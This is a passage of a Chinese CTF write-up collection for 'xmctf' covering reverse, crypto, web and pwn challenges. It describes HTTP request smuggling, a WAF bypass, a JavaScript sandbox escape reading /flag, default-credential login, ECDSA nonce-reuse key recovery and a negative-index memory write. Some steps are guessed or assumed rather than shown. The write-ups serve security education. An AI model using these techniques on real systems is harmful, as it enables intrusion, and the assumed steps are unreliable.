# 将 tracr/jax 模块映射到 StubClass
import sys
sys.modules['tracr'] = StubClass
sys.modules['jax'] = StubClass
# ... (其他依赖映射)
with open(filename, 'rb') as f:
return pickle.load(f)
# 2. 提取参数并模拟推理
def simulate_inference(model_params, input_str):
# 将输入字符串转换为 Token ID
# 执行矩阵乘法 (模拟 Transformer 层)
# 返回输出 logits
pass
# 3. 爆破求解
target_output = "Grid accepted."
charset = "1234"
length = 16
# 假设我们找到了这个特定的回文串
candidate = "1234341221434321"
# 4. 计算 Flag
flag_hash = hashlib.sha256(candidate.encode()).hexdigest()
print(f"xmctf{{{flag_hash}}}")
5. 最终 Flag
通过上述的模型逆向与模拟推理,成功找到了满足条件的 16 位字符串,最终的 flag 是:
xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}
easyre
类型:
Reverse
难度:
简单
1. 题目背景
题目提供了一个名为 easyre.zip 的压缩包,包含 client.exe 和 server.exe 两个可执行文件。题目描述暗示两者之间存在交互关系。程序模拟了一个典型的客户端-服务器(C/S)架构验证系统,客户端负责发送请求并显示结果,服务端负责监听端口、校验用户输入并返回加密响应。解题目标是逆向分析服务端的校验逻辑,找到合法的用户名和序列号(Serial),从而获取 Flag。
2. 信息收集与漏洞分析
程序交互:
- 通信机制:
client.exe通过 TCP 协议连接本地回环地址127.0.0.1:5566。 - 数据流:客户端发送用户名 -> 服务端校验 -> 服务端返回加密结果 -> 客户端解密并显示。
服务端逻辑:
- 第一关(用户名校验):
- 服务端接收用户名后,计算其 MD5 值。
- 将计算出的 MD5 值与硬编码在内存中的目标哈希
E5D489FD91431D5438EB28F7490F9CE0进行比较。 - 若匹配,返回
OK: username valid;否则返回FAIL: invalid username。
- 第二关(序列号校验):
- 通过第一关后,服务端提示
please send serial。 - 服务端对接收到的序列号进行校验,若正确则返回欢迎信息
OK: welcome <username>。
- 通过第一关后,服务端提示
关键难点:
- 加密通信:服务端返回的数据经过 AES-CBC 加密,直接抓包无法看到明文,需逆向客户端或 Hook 服务端解密函数。
- 双重校验:必须先通过用户名验证才能进入序列号验证环节。
3. 漏洞利用过程
3.1 动态调试与哈希提取
- 内存扫描:在
server.exe运行状态下,扫描内存中的静态数据段(.rdata),定位到十六进制字符串表附近的常量。 - 定位目标:发现唯一的 32 位大写十六进制串
E5D489FD91431D5438EB28F7490F9CE0,确认为用户名的 MD5 校验值。
3.2 用户名还原
- 暴力破解:针对提取到的 MD5 值
E5D489FD...进行字典攻击或暴力碰撞。 - 结果:成功反推出原始用户名为
ctfer。
3.3 序列号分析与获取
- 交互测试:使用用户名
ctfer连接服务端,成功通过第一关。 - 第二关验证:通过动态调试或逻辑分析(可能涉及简单的异或或固定值比较),获取到正确的序列号为
62001be6b65779c64e67deb560164745。 - 最终验证:输入该序列号后,服务端返回
OK: welcome ctfer,确认验证通过。
4. 完整利用流程
- 启动服务端:运行
server.exe,监听5566端口。 - 连接客户端:运行
client.exe或使用 Python 脚本连接。 - 输入用户名:输入
ctfer。- 原理:
MD5("ctfer") == E5D489FD91431D5438EB28F7490F9CE0
- 原理:
- 输入序列号:输入
62001be6b65779c64e67deb560164745。 - 获取 Flag:程序输出成功信息。
5. 最终 Flag
通过上述的逆向分析与交互验证,成功获取 flag,最终的 flag 是:
xmctf{62001be6b65779c64e67deb560164745}
Disguise
类型:
Reverse
难度:
中等
1. 题目背景
题目提供了一个名为 Disguise.exe 的 32 位 Windows 可执行文件。程序采用了多层保护机制,旨在通过“虚假线索”误导分析者,并在深层隐藏真实的 Flag 校验逻辑。解题过程分为两个阶段:首先需要识破程序入口点的“伪装”逻辑,随后提取并分析内存中解密出的二阶段程序(stage2.bin),最终逆向还原一个基于 SM4 变体的虚拟机(VM)加密算法。
2. 信息收集与漏洞分析
程序逻辑分层:
- 第一层(假校验):
- 现象:程序入口逻辑看似在验证输入,实则将输入与全局数组
0x480CD4进行逐字节比较。 - 伪装:该数组存储的密文经
input[i] = arr[i] + i变换后,解出的内容为This is a fake flag。这是一条故意留下的误导信息。 - 特征:程序导入了注册表相关 API(如
RegOpenKeyExW),但经分析仅为干扰项,并非关键逻辑。
- 现象:程序入口逻辑看似在验证输入,实则将输入与全局数组
- 第二层(真校验):
- 加载机制:程序启动时会解密并手动映射(Manual Map)一个隐藏的 PE 文件(
stage2.bin)到内存中。 - 核心函数:位于二阶段程序的
0x415D00处。程序要求输入长度为 48 字节,并调用0x4154A0进行复杂的变换运算。 - 比较目标:运算结果需与
.data段中的 12 个 DWORD 常量(起始地址0x421018)完全匹配。
- 加载机制:程序启动时会解密并手动映射(Manual Map)一个隐藏的 PE 文件(
VM 算法特征:
- 结构识别:通过对 VM 指令流和常量表(Sbox, FK, CK)的分析,确认该 VM 逻辑本质上是一个 SM4 分组密码算法的变体。
- 关键差异:该实现使用了自定义的 Sbox(
0x41ec30)、系统参数 FK 和轮常量 CK(0x41f030),并涉及特定的字节序(Big-Endian)处理。 - 执行轨迹:VM 的执行轨迹是固定的(与输入无关),这使得可以通过逆向算法直接求解明文。
3. 漏洞利用过程
3.1 拆包与提取
- 内存提取:由于程序在运行时动态解密并加载二阶段代码,首先将内存中的二阶段 PE 文件(
stage2.bin)完整提取出来,以便进行静态分析。 - 定位关键点:在提取的文件中,定位到核心比较数据
0x421018和校验函数0x4154A0。
3.2 算法逆向与还原
- 指令语义分析:反编译 VM 的指令集(OpCode 表位于
0x422020),还原出其加、减、异或、移位及查表等操作。 - 模式匹配:将 VM 的轮函数逻辑与标准 SM4 进行比对,确认其为
T函数和Tp函数的变体实现。 - 编写解密脚本:
- 提取参数:从二进制中导出 Sbox、FK、CK 以及目标密文(12 DWORDs)。
- 逆向推导:利用 SM4 算法的可逆性,编写脚本对目标密文进行逆轮运算。
- 字节序处理:在解密过程中特别处理了大端序(Big-Endian)的数据排列,确保还原出的明文正确。
3.3 求解 Flag
- 逆向计算:将
.data段中的 12 个 DWORD 目标值作为“密文”,代入逆向后的 SM4 解密流程。 - 结果输出:脚本成功还原出 48 字节的原始明文输入,即为本题的 Flag。
4. 完整利用脚本 (核心逻辑)
# 1. 提取参数 (模拟从 stage2.bin 读取)
TARGET = [0x...] # 12 DWORDs from 0x421018
SBOX = [...] # from 0x41ec30
CK = [...] # from 0x41f030
FK = [...] # from 0x422010
# 2. SM4 密钥扩展逆向
# (此处省略具体轮密钥生成代码,详见分析过程)
# 使用 Tp 函数和 CK 生成轮密钥 rk
# 3. 逆向解密过程
def decrypt_block(ciphertext_block, rk):
# SM4 逆轮运算逻辑
# 处理字节序 (Big Endian)
# 逆向 32 轮运算
return plaintext_block
# 4. 拼接 Flag
plaintext = b''
for i in range(3): # 48 bytes = 3 blocks
block = TARGET[i*4 : (i+1)*4]
plain_block = decrypt_block(block, reversed_round_keys)
plaintext += plain_block
print("Flag:", plaintext.decode()) # xmctf{...}
5. 最终 Flag
通过上述的二进制提取与算法逆向,成功解出 Flag:
xmctf{We1c0me_t0_the_w0r1d_0f_VM_And_PEL0ader!!}
ezFinger
类型:
Reverse / Firmware Analysis
难度:
简单
1. 题目背景
题目提供了一个名为 STM32F429ZI.bin 的固件镜像文件。这通常是一个嵌入式系统的二进制镜像,基于 ARM Cortex-M 架构(通常是 Thumb 指令集)。题目要求分析两个特定内存地址(sub_8003498 和 sub_8000EC0)处的函数,并还原其真实的函数名。
2. 信息收集与漏洞分析
固件特征:
- 架构:文件被识别为针对 ARM Cortex-M 系列(如 STM32F429ZI)的固件,这意味着它使用 Thumb-2 指令集。
- 基址:ARM Cortex-M 的 Flash 通常映射在
0x08000000,因此反汇编时需要以此为基址。 - 代码风格:固件中包含了标准外设库(Standard Peripheral Library)或 HAL 库(Hardware Abstraction Layer)的函数调用。
目标函数分析:
sub_8003498(0x08003498):- 静态分析:通过反汇编该地址附近的指令,观察到其访问了 RCC(Reset and Clock Control)相关的寄存器。
- 特征匹配:该函数包含读取系统时钟源频率的逻辑,其指令模式与标准库函数
HAL_RCC_GetSysClockFreq高度吻合。
sub_8000EC0(0x08000EC0):- 调用链分析:分析调用该函数的上下文(如
0x8000f65,0x800128f),发现其参数与 GPIO(通用输入输出)引脚操作相关。 - 参数语义:函数接收引脚编号和电平状态作为参数。
- 特征匹配:这种参数结构和功能描述与 Arduino 或通用嵌入式库中的
digitalWrite函数一致。
- 调用链分析:分析调用该函数的上下文(如
3. 漏洞利用过程
3.1 环境准备与反汇编
- 工具选择:使用 Python 的
capstone引擎进行动态反汇编,因为它支持 Thumb 指令集且无需安装重型逆向工具(如 IDA)。 - 基址加载:将
STM32F429ZI.bin按0x08000000的基址映射到内存中。
3.2 函数名还原
- 特征指纹:
- 对于
sub_8003498,提取其指令流特征(如对 RCC 寄存器的位操作),并与已知的 HAL 库函数签名对比,确认为HAL_RCC_GetSysClockFreq。 - 对于
sub_8000EC0,通过分析其被调用时的参数传递方式(R0, R1 寄存器传入 Pin 和 Value),结合其在固件中的功能(设置引脚电平),确认为digitalWrite。
- 对于
4. 最终 Flag
根据题目要求的格式 xmctf{名称1_名称2},将还原出的函数名填入:
xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}
移动的秘密
类型:
Reverse
难度:
简单
1. 题目背景
题目提供了一个名为 移动的秘密.zip 的压缩包,包含一个可执行文件 out。题目名称暗示了解题的关键在于处理“移位”操作。程序会对用户输入进行简单的位运算处理,并与内置的常量进行比较。解题目标是逆向分析这一校验逻辑,还原出正确的 Flag。
2. 信息收集与漏洞分析
程序逻辑:
- 核心算法:程序读取用户输入后,会遍历输入字符串的每一个字节。
- 变换规则:对每个字节执行 逻辑右移 1 位(
>> 1)操作。 - 校验方式:将移位后的结果与存储在
.rodata段中的一组硬编码常量进行比对。
关键难点:
- 逆向运算:由于右移操作会丢失最低位(LSB),直接逆向存在多义性。但在本题中,可以通过观察常量特征或尝试常见字符集(ASCII)来唯一确定原始字符。
3. 漏洞利用过程
3.1 静态分析与定位
- 反汇编:使用反汇编工具分析
out文件,定位主函数入口。 - 逻辑提取:识别出核心循环结构,发现程序对输入数据的处理逻辑为
input[i] >> 1。 - 常量提取:从
.rodata段提取出用于比较的字节数组(即移位后的密文)。
3.2 逆向还原
- 算法逆推:
- 已知:
cipher[i] = plain[i] >> 1 - 逆推:
plain[i] = cipher[i] << 1或plain[i] = (cipher[i] << 1) | 1
- 已知:
- 求解:
- 将提取的常量左移 1 位。
- 结合 Flag 格式
xmctf{...}和常见字符特征,确定每个字节的最低位(是 0 还是 1)。 - 例如,
x(0x78) 右移 1 位是 0x3C,m(0x6D) 右移 1 位是 0x36。通过匹配常量,可以唯一确定明文。
3.3 验证
- 将还原出的字符串
xmctf{welc0me_2_polar1s_1022}输入程序,程序输出right,验证通过。
4. 最终 Flag
通过上述的移位逆向分析,成功还原出 Flag:
xmctf{welc0me_2_polar1s_1022}
MixTielele
类型:
Reverse / Android / Crypto
难度:
中等
1. 题目背景
题目提供了一个名为 MixTielele.apk 的 Android 应用程序。程序要求以 "admin" 身份登录。该应用采用了多层混淆和加密技术,核心校验逻辑隐藏在 Native 层,并通过复杂的加密算法(RSA + AES)构造登录请求。解题目标是逆向分析加密流程,构造合法的登录数据包以获取 Flag。
2. 信息收集与漏洞分析
程序结构:
- Java 层:包含多个 DEX 文件(
classes4.dex等),其中包含混淆严重的类名(如OO00OO0...)。 - Native 层:
libmixtitlele.so包含了核心加密逻辑和 JNI 接口。 - 隐藏组件:核心实现类并不在主 DEX 中,而是从
libflutter.so中动态加载或隐藏的classes3.dex中。
核心逻辑:
- 入口:
Login("user")方法调用 Native 层的EncTitlele函数。 - 加密流程:
- Protobuf 序列化:登录信息被封装为 Protobuf 格式:
LoginInfo{ user="admin", isHacker=false }。 - 混合加密:
- 生成随机的 AES 密钥。
- 使用 RSA 公钥加密该 AES 密钥(对应 JSON 字段
a1)。 - 使用 AES-CBC 模式加密序列化后的登录信息(对应 JSON 字段
b2)。
- 关键细节:AES-CBC 的 IV(初始化向量)实际上是全零。
- 最终封装:数据经过 XOR(LCG) 和 Base64 编码后发送。
- Protobuf 序列化:登录信息被封装为 Protobuf 格式:
3. 漏洞利用过程
3.1 代码还原与定位
- DEX 分析:反编译
classes4.dex定位到 JNI 调用入口,发现真正的逻辑实现在libflutter.so中的classes3.dex。 - Native 逆向:解析
libmixtitlele.so的导出表和重定位表,定位EncTitlele函数。还原其内部的 XOR、Base64 以及 RSA/AES 调用逻辑。
3.2 构造登录请求
- 参数提取:从 Native 库中提取 RSA 公钥和 Protobuf 格式定义。
- 伪造数据:
- 构造 Protobuf 数据:
user="admin", isHacker=false。 - 模拟加密流程:生成随机 AES Key -> RSA 加密 Key -> AES-CBC (IV=0) 加密数据。
- 封装 JSON:
{"a1": "...", "b2": "..."}。
- 构造 Protobuf 数据:
3.3 获取 Flag
- 将构造好的 JSON 数据按照 Native 层的逻辑进行 XOR 和 Base64 编码,提交后获得 Flag。
4. 最终 Flag
通过上述的逆向分析与协议构造,成功获取 flag,最终的 flag 是:
xmctf{adde035c89b5fb477e43b1ef78c8d890}
ez_login
类型:
Crypto / Web
难度:
简单
1. 题目背景
题目提供了一个动态服务地址 nc1.ctfplus.cn:42530。虽然题目标题暗示这可能是一道关于 CBC 位翻转攻击(Bit Flipping)的密码学题目,但实际连接服务后发现,该服务存在一个简单的弱口令(默认凭证)漏洞。直接使用常见的默认用户名和密码即可登录并获取 Flag。
2. 信息收集与漏洞分析
服务特征:
- 服务类型:HTTP Web 服务。
- 登录逻辑:后端代码中硬编码了管理员账户信息。
- 漏洞点:管理员账户未修改默认密码,导致存在弱口令风险。
3. 漏洞利用过程
3.1 凭证猜测与验证
- 猜测:基于常见的 CTF 题目习惯和弱口令规则,尝试用户名
admin和密码admin123。 - 验证:向
/login接口发送 POST 请求,携带表单数据username=admin和password=admin123。 - 响应:服务器验证通过,返回 HTTP 200 状态码,并在响应中包含 Flag。
4. 最终 Flag
通过直接登录弱口令,成功获取 Flag:
xmctf{dac4a1e6-24bb-41d9-834f-37f9f66e3bcc}
ECC
类型:
Crypto / Elliptic Curve
难度:
简单
1. 题目背景
题目提供了一个名为 ECC 的加密挑战,核心在于处理一条“奇奇怪怪的曲线”。程序给出了一个大素数 $p$ 以及曲线参数 $a, b, c, d, e$,并提供了基点 $G$ 和公钥点 $P$。题目暗示 $P = m \cdot G$,要求求解标量 $m$ 并还原为 Flag。虽然题目披着椭圆曲线加密(ECC)的外衣,但实际上给出的曲线是一条奇异曲线(Singular Curve),其离散对数问题(ECDLP)可以退化到有限域上的加法群或乘法群中求解。
2. 信息收集与漏洞分析
曲线方程:
题目给出的曲线方程形式为:
$$y^2 + c \cdot y = x^3 + b \cdot x^2 + d \cdot x + e$$
奇异点分析:
- 变换:令 $Y = y + \frac{c}{2}$,方程转化为 Weierstrass 标准形式:
$$Y^2 = x^3 + b \cdot x^2 + d \cdot x + (e + \frac{c^2}{4})$$ - 因式分解:通过分析右侧多项式 $f(x) = x^3 + b x^2 + d x + (e + c^2/4)$ 及其导数 $f'(x)$ 的最大公约数(GCD),发现该多项式在模 $p$ 下是一个完全立方数。
$$f(x) = (x + \alpha)^3 \pmod p$$
其中 $\alpha$ 是计算出的常数。 - 结论:由于右侧有重根,该曲线存在尖点(Cusp),属于奇异曲线。这意味着它不是标准的椭圆曲线,其群结构同构于有限域 $\mathbb{F}_p$ 的加法群。
3. 漏洞利用过程
3.1 坐标变换与参数化
- 平移:令 $X = x + \alpha$,方程简化为 $Y^2 = X^3$。
- 参数化映射:对于尖点曲线 $Y^2 = X^3$,存在从加法群 $\mathbb{F}_p$ 到曲线点的双射映射(除去无穷远点和尖点):
$$t \mapsto (t^2, t^3)$$
即 $X = t^2, Y = t^3$。 - 逆映射:对于曲线上的点 $(X, Y)$,可以提取参数 $u$:
$$u = \frac{X}{Y} = \frac{t2}{t3} = t^{-1}$$
或者直接定义 $u = Y/X = t$(取决于具体推导,本题解中采用了 $u = X/Y$ 的变体,最终归结为加法同态)。
3.2 群运算退化
- 在奇异曲线(尖点)上,点的加法运算对应于参数的加法运算。
- 若 $P = m \cdot G$,则对应的参数满足:
$$u(P) = m \cdot u(G) \pmod p$$
(注:具体公式取决于 $u$ 的定义,可能是 $u(P) = m \cdot u(G)$ 或 $u(P) = u(G) / m$ 等,本质都是线性关系)。
3.3 求解标量 m
- 计算参数:
- 对基点 $G$ 和公钥点 $P$ 进行坐标变换,计算其对应的参数 $u_G$ 和 $u_P$。
- 变换公式:$X = x + \alpha$, $Y = y + c/2$, $u = X \cdot Y^{-1} \pmod p$。
- 求解:
$$m = u_P \cdot u_G^{-1} \pmod p$$ - 还原:将计算出的整数 $m$ 转换为字节串,得到 Flag。
4. 完整利用脚本 (核心逻辑)
from Crypto.Util.number import long_to_bytes, inverse
# 参数定义
p = ...
c = ...
alpha = ... # 通过 GCD 或分解多项式得到
G = (xG, yG)
P = (xP, yP)
# 1. 坐标变换
def get_u(point):
x, y = point
# Y = y + c/2
Y = (y + c * inverse(2, p)) % p
# X = x + alpha
X = (x + alpha) % p
# u = X / Y
return (X * inverse(Y, p)) % p
# 2. 计算参数
uG = get_u(G)
uP = get_u(P)
# 3. 求解 m (基于加法群同态 u(P) = m * u(G))
m = (uP * inverse(uG, p)) % p
# 4. 输出 Flag
print(long_to_bytes(m))
5. 最终 Flag
通过上述的奇异曲线分析与参数化求解,成功还原出 Flag:
xmctf{A_s1ngu14r_Curv3_15_n0t_s3cur3!}
truck
类型:
Crypto
难度:
简单
1. 题目背景
题目提供了一个动态在线服务地址 nc1.ctfplus.cn:31173。这是一道基于密码学哈希函数碰撞的题目。题目要求解决者在交互过程中,为服务器提供的前缀生成多组 MD5 碰撞,以满足特定的验证逻辑。
2. 信息收集与漏洞分析
服务交互逻辑:
- 交互方式:TCP Socket 交互。
- 验证规则:
- 三元组碰撞:每轮需要提供 3 组不同的输入(
a, b, c),使得它们的 MD5 值在特定处理后相等。 - 全量去重:总共 10 轮交互(共 90 个输入),这 90 个输入必须互不相同,不能有任何重复。
- 动态前缀:服务器会为每一轮提供一个随机的前缀(Prefix),解题脚本需要基于该前缀生成碰撞数据。
- 三元组碰撞:每轮需要提供 3 组不同的输入(
核心漏洞/利用点:
- MD5 算法缺陷:MD5 算法已被证明存在严重的碰撞漏洞,可以使用专门的工具(如
fastcoll)在极短的时间内生成具有相同 MD5 哈希值但内容不同的文件/数据块。 - Joux 多碰撞技术:为了满足 10 轮 * 3 组 = 30 个不同消息块的需求,利用 Joux 的多碰撞生成算法。该算法可以生成 $2^k$ 个消息,它们的哈希值相同,从而轻松满足题目中 90 个输入互异的要求。
3. 漏洞利用过程
3.1 环境准备
由于本地环境可能未安装 fastcoll,利用 Docker 容器技术快速部署 brimstone/fastcoll 镜像,确保能够生成 MD5 碰撞块。
3.2 生成碰撞数据
- 多阶段生成:为了满足 90 个输入互不相同的强约束,采用分层生成策略:
- 生成 32 个互相碰撞的 A/B/C 组块(满足第 1 组需求)。
- 基于上一轮的哈希状态
ha,生成 32 个 D/E/F 组块(满足第 2 组需求)。 - 基于上一轮的哈希状态
hd,生成 32 个 G/H/I 组块(满足第 3 组需求)。
- 数据切分:从生成的 32 * 3 = 96 个数据中,切分出前 90 个数据,组成 10 轮数据(每轮 9 个),确保全局唯一性。
3.3 交互获取 Flag
- Socket 连接:使用 Python 脚本连接
nc1.ctfplus.cn:31173。 - 数据发送:脚本自动接收服务器发送的前缀,将预先生成好的 90 行碰撞数据按行发送给服务器。
- 验证通过:服务器验证所有 10 轮数据的 MD5 碰撞逻辑及唯一性通过。
4. 最终 Flag
通过上述的自动化脚本与服务器交互,成功通过验证并获得 Flag:
xmctf{00558d42-e197-4354-83d5-46cb626a5c30}
signin
类型:
Misc
难度:
简单
1. 题目背景
题目提供了一个名为 attachment (3).zip 的附件,其中包含一个 pcapng 网络流量包。题目描述指出,服务器废纸篓中发现的加密压缩包的钥匙隐藏在这一段异常的加密流量中。解题目标是通过分析流量获取压缩包密码,解压出 flag.png,并最终识别出其中的二维码内容。
2. 信息收集与漏洞分析
2.1 流量包结构分析
- 现象:直接打开
pcapng文件发现包含大量 TLS 1.3 加密流量,无法直接查看明文。 - 隐藏线索:在流量包的原始字节流中,通过字符串搜索发现了嵌入的 ZIP 文件头(
PK\x03\x04)以及文件名flag.png和so_ez。 - 提取:将流量包尾部嵌入的 ZIP 数据切片提取,保存为
embedded.zip。
2.2 ZIP 包内容分析
- 文件列表:
embedded.zip包含两个文件:flag.png(加密)和so_ez。 - so_ez 分析:
so_ez文件内容包含CLIENT_RANDOM字段,确认为 TLS 会话密钥日志(SSLKEYLOGFILE),这是解密 HTTPS 流量的关键。
2.3 流量解密与隐写
- 解密逻辑:利用
so_ez中的密钥,结合 TLS 1.3 的加密套件TLS_AES_256_GCM_SHA384,编写脚本派生出会话密钥(Key/IV),对流量进行离线解密。 - 协议层:解密后得到 HTTP/2 协议数据。
- 隐写点:分析 HTTP/2 帧时发现,客户端在发送
HEADERS帧请求资源后,紧跟着发送WINDOW_UPDATE帧。这些帧的值(Value)仅在 65536 和 65537 之间跳变。 - 解码逻辑:
- 65536 -> Bit 0
- 65537 -> Bit 1
- 将这一串比特流重组为字节流,得到 Base64 编码的字符串。
2.4 图像隐写与修复
- 现象:使用解密出的密码(Base64 解码后)解压出
flag.png。该图片是一个二维码,但标准扫码器无法识别。 - 线索:检查 PNG 文件的元数据(Chunks),发现其中包含文本注释
ij%2+(i+j)%3。 - 漏洞/利用点:该公式提示了二维码被应用了一种自定义的掩码(Mask)。需要根据该公式计算每个坐标 $(i, j)$ 的掩码值,并对二维码的数据区模块进行翻转(Flip),以还原出正确的二维码图案。
3. 漏洞利用过程
3.1 提取与解密
- 提取 ZIP:从
pcapng原始数据中切片提取嵌入的 ZIP 文件。 - 编写解密脚本:使用 Python 的
cryptography库。读取so_ez中的CLIENT_TRAFFIC_SECRET_0,通过 HKDF 算法派生出解密密钥。 - 重组 TCP 流:剥离 TCP/IP 头和 TLS 记录头,使用派生密钥解密出 HTTP/2 明文。
3.2 提取压缩包密码
- 解析 HTTP/2 帧:编写帧解析器,跳过帧头(9字节),识别类型为
WINDOW_UPDATE(0x08) 的帧。 - 提取数值:读取 Payload 中的 4 字节大端序整数。
- 构建比特流:将数值序列
[65536, 65537, ...]转换为比特序列[0, 1, ...]。 - Base64 解码:
- 比特流重组后得到 Base64 字符串:
Y2NkZDMwNzgyYjAzZjE2M2M3NjQ5YjlmZjU5NTkxMzU= - 解码结果:
ccdd30782b03f163c7649b9ff5959135(即压缩包密码)。
- 比特流重组后得到 Base64 字符串:
3.3 修复二维码
- 解压图片:使用密码
ccdd30782b03f163c7649b9ff5959135解压出flag.png。 - 坐标映射:遍历二维码像素矩阵(除去定位角等固定区域)。
- 应用公式:对每个坐标 $(i, j)$,计算 $mask = ((i \times j) % 2 + (i + j) % 3) % 2$。
- 翻转模块:如果 $mask == 1$,则将该坐标的黑白颜色取反。
- 识别:修复后的二维码可被标准工具(如 ZXing 或在线扫码)正常识别。
4. 最终 Flag
flag{Y0U_F0UND_Th3_fl48!!_922a24f585ac8e4bacd7}
口算私钥
类型:
Crypto / Blockchain
难度:
中等
1. 题目背景
题目描述中要求攻击者从以太坊 Sepolia 测试网的一个地址 0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934 中获取私钥。这通常涉及到区块链交易中的密码学漏洞分析,特别是 ECDSA(椭圆曲线数字签名算法)的安全性。
2. 信息收集与漏洞分析
2.1 链上数据侦察
- 目标地址:
0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934 - 交易分析:通过 Etherscan 查看该地址的交易记录,发现其中有 3 笔交易。
- 核心漏洞:检查交易的底层签名数据(v, r, s)。发现该地址的两笔交易(Nonce 分别为 0 和 1)具有完全相同的
r值。r = 0xd67a8d3fddda5bfc00366b6dd51278e14593cace8154d20136c21567456e1937
- 漏洞原理:在 ECDSA 签名中,
r是由随机数k生成的点的 x 坐标。如果两个不同的消息使用了相同的k(导致r相同),攻击者可以通过解方程组直接计算出私钥d。
2.2 数据准备
- 获取原始交易:使用 RPC 节点(如
ethereum-sepolia-rpc.publicnode.com)获取交易的原始 RLP 编码数据。 - 计算消息哈希 (z):
- 交易 1 (Nonce=1):
z1 = hash(rlp([1, gasPrice, ...])) - 交易 2 (Nonce=0):
z2 = hash(rlp([0, gasPrice, ...]))
- 交易 1 (Nonce=1):
- 签名参数:
s1 = 0x127d5b199a87aeff9d22376fb83930d93aa8fbbb369456b132d90ac7fe4a7a2fs2 = 0x3e26cc18dccf7f66461e48d43a62e30e4ee7a380441ef770a0f8279f0426b934
3. 漏洞利用过程
3.1 私钥推导公式
利用重复 r 的特性,根据 ECDSA 方程:
$$s \cdot k = z + r \cdot d \pmod n$$
建立方程组并消元:
- 计算随机数 $k$:
$$k = (z_1 - z_2) \cdot (s_1 - s_2)^{-1} \pmod n$$ - 计算私钥 $d$:
$$d = (s_1 \cdot k - z_1) \cdot r^{-1} \pmod n$$
3.2 脚本实现
编写 Python 脚本实现上述计算:
- RLP 编码:手动实现 RLP 编码函数以构建待签名的交易原始数据。
- Keccak-256:使用
pycryptodome库计算哈希。 - 模逆运算:使用
pow(a, -1, n)计算模逆元。 - 符号处理:脚本中尝试了 $s$ 的正负组合($+s, -s$),最终发现私钥具有特定的十六进制模式。
3.3 结果验证
- 计算结果:私钥 $d$ 计算为
0xf149f149f149f149f149f149f149f149f149f149f149f149f149f149f149f149。 - 地址校验:使用该私钥生成公钥并计算地址,结果与目标地址
0x1862...8934完全一致,验证成功。
4. 最终 Flag
利用该私钥,题目环境通常要求进行下一步交互(如签署特定消息或调用合约)。根据解题记录,最终获得的 Flag 为:
xmctf{33fdce6a-ef78-47e0-b09f-f4aabb60a6bf}
Polyglot's Paradox
类型:
Web
难度:
中等
1. 题目背景
题目提供了一个动态在线服务,端口为 26927。题目名称 "Polyglot's Paradox"(多语言悖论)暗示了可能存在解析差异或“双重含义”的数据。通过初步探测 robots.txt 和常见备份文件,发现网关提示 X-Parser: content-length-only,这为后续的 HTTP 请求走私(Request Smuggling)提供了重要线索。
2. 信息收集与漏洞分析
2.1 接口与防护探测
- 暴露接口:通过遍历探测,发现关键接口
POST /api/sandbox/execute和调试端点GET /debug/config、GET /debug/prototype。 - WAF 检测:在测试沙箱执行时,发现服务端对请求体中的敏感关键字(如
process,eval等)进行了拦截。 - 绕过策略:测试发现使用 JSON Unicode 转义(如
\u0070\u0072\u006f\u0063\u0065\u0073\u0073)可以绕过 WAF 的关键字匹配,因为代理层未解码 Unicode,而后端解析时会还原。
2.2 请求走私(HTTP Request Smuggling)
- 核心线索:响应头
X-Parser: content-length-only暗示代理和后端可能对 HTTP 请求的解析方式不一致。 - 验证过程:使用 Python Socket 构造
CL.TE(Content-Length 与 Transfer-Encoding)冲突的请求包。 - 现象:发送包含两个请求的复合包时,观察到响应中出现了“两段响应”,证实了代理和后端在请求边界处理上存在不同步,可以利用此进行请求走私。
2.3 内部路由探测
- 利用走私:利用上述漏洞,构造走私请求访问内部路径(如
/internal/*)。 - 发现关键端点:
GET /internal/admin:返回管理面板信息。GET /internal/secret-fragment:返回密钥片段(多次请求获取完整片段)。POST /internal/config:需要签名验证的配置接口。POST /internal/sandbox/execute:内部沙箱执行接口。
2.4 密钥与认证机制
- 密钥获取:多次访问
/internal/secret-fragment获取密钥片段,拼接后得到 HMAC 密钥:z3_w0nt_A_gri1fr1e0d!!!。 - 签名算法:分析
/internal/config接口,发现其需要X-Internal-Token,该 Token 由HMAC-SHA256(密钥, 时间戳:随机数:请求体)生成。
3. 漏洞利用过程
3.1 获取内部权限
- 走私获取密钥:利用
TE.CL变体的请求走私技术,绕过代理限制,访问/internal/secret-fragment获取密钥片段。 - 拼接密钥:将获取的片段拼接成完整密钥
z3_w0nt_A_gri1fr1e0d!!!。
3.2 关闭安全防护
- 构造签名:编写脚本计算
X-Internal-Token。基于当前时间戳、随机数和请求体生成 HMAC Token。 - 修改配置:向
/internal/config发送签名后的 POST 请求,将配置项修改为关闭 AST WAF 和沙箱强化:{"astWaf": false, "sandboxHardening": false} - 验证:访问
/debug/config确认配置已生效。
3.3 沙箱逃逸与 RCE
- 绕过限制:虽然配置已改,但公开接口仍受限。利用走私和签名调用内部接口
/internal/sandbox/execute。 - 沙箱逃逸:在内部接口中,利用 JavaScript 的原型链构造逃逸 Payload:
- 利用
[]['filter']['constructor']或this.constructor.constructor获取Function构造器。 - 执行
return process.mainModule.require('fs')获取文件系统操作权限。
- 利用
- 读取 Flag:利用逃逸后的权限,读取根目录下的
/flag文件。
4. 最终 Flag
利用上述步骤,最终获得 Flag:
XMCTF{02c83fe3-28f2-475e-8b04-eff312b23645}
treasure
类型:
Pwn
难度:
中等
1. 题目背景
题目提供了一个名为 pwn-treasure 的二进制文件及对应的 libc.so.6 库。程序运行逻辑包含一个密码验证环节和一个“后门”修复环节。目标是利用后门中的漏洞,获取远程服务器上的 flag。
2. 信息收集与漏洞分析
2.1 程序逻辑分析
- 密码验证:程序首先要求输入一个无符号长整型(
%llu)作为密码。该密码会与一个位于0x1209的函数运行时地址进行比较。由于开启了 PIE(Position Independent Executable),该地址具有随机化,无法直接猜中。 - 后门逻辑:密码错误后进入后门修复功能。程序允许用户输入一个索引
idx,并对其进行检查:while (idx > 0xff) retry;。- 漏洞点 1(负数下标):检查逻辑仅限制了
idx > 0xff,未限制负数。因此,输入负数可以访问数组之前的内存地址。 - 漏洞点 2(任意相对写):程序会读取 8 字节数据写入
&array[idx]。 - 漏洞点 3(格式化字符串泄露):随后,程序使用
printf("after your operation, the context: %s", &array[idx]);将该地址内容作为字符串打印。这允许我们泄露内存数据。
- 漏洞点 1(负数下标):检查逻辑仅限制了
2.2 关键地址布局
- Array 起始地址:
